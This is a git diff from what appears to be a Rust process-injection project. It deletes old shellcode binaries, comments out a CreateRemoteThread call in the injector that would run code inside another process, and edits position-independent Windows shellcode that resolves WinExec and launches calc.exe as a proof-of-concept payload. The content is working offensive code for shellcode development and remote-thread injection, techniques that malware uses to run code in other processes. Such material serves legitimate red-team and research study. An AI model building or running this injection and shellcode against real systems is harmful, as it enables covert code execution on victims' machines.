diff --git a/builder/output/OLD_2shellcode.bin b/builder/output/OLD_2shellcode.bin deleted file mode 100644 index fd2844e..0000000 Binary files a/builder/output/OLD_2shellcode.bin and /dev/null differ diff --git a/builder/output/OLD_3shellcode.bin b/builder/output/OLD_3shellcode.bin deleted file mode 100644 index 765f4e0..0000000 Binary files a/builder/output/OLD_3shellcode.bin and /dev/null differ diff --git a/builder/output/OLD_4shellcode.bin b/builder/output/OLD_4shellcode.bin deleted file mode 100644 index 202dc4a..0000000 Binary files a/builder/output/OLD_4shellcode.bin and /dev/null differ diff --git a/builder/output/OLD_5shellcode.bin b/builder/output/OLD_5shellcode.bin deleted file mode 100644 index 8087679..0000000 Binary files a/builder/output/OLD_5shellcode.bin and /dev/null differ diff --git a/builder/output/shellcode.bin b/builder/output/shellcode.bin index 41e214e..0035655 100644 Binary files a/builder/output/shellcode.bin and b/builder/output/shellcode.bin differ diff --git a/injector/src/main.rs b/injector/src/main.rs index 79bfdb7..0a7f322 100644 --- a/injector/src/main.rs +++ b/injector/src/main.rs @@ -72,15 +72,15 @@ fn main() { // #################################################### - // CREATE REMOTE THREAD + // INJECT VIA CREATE REMOTE THREAD - let result_createremotethread = CreateRemoteThread(h_process, - None, 0, transmute(remotememory_ptr), None, 0, None); + // let result_createremotethread = CreateRemoteThread(h_process, + // None, 0, transmute(remotememory_ptr), None, 0, None); - match result_createremotethread { - Ok(_) => println!("[+] Thread created"), - Err(e) => eprintln!("[-] Error creating thread {e}"), - } + // match result_createremotethread { + // Ok(_) => println!("[+] Thread created"), + // Err(e) => eprintln!("[-] Error creating thread {e}"), + // } } } diff --git a/shellcode/src/main.rs b/shellcode/src/main.rs index 05d56d8..6808dbf 100644 --- a/shellcode/src/main.rs +++ b/shellcode/src/main.rs @@ -15,7 +15,7 @@ fn panic(_info: &PanicInfo) -> ! { pub type WinExec = extern "system" fn(lpCmdLine: LPCSTR, uCmdShow: u32) -> u32; #[no_mangle] -pub extern "system" fn main() -> ! { +pub extern "system" fn main() { unsafe { // clean argc and argv @@ -56,14 +56,4 @@ pub extern "system" fn main() -> ! { let WinExec: WinExec = unsafe { transmute(win_exec_fn_addr) }; WinExec("calc.exe\0" as *const _ as *const i8, 1); - - // black_box(b, load_library_a_addr); - - loop{} -} - -#[inline(never)] -extern "system" fn black_box(dummy: T, dummy_b: C) -> C { - unsafe { core::ptr::read_volatile(&dummy) }; - unsafe { core::ptr::read_volatile(&dummy_b) } } \ No newline at end of file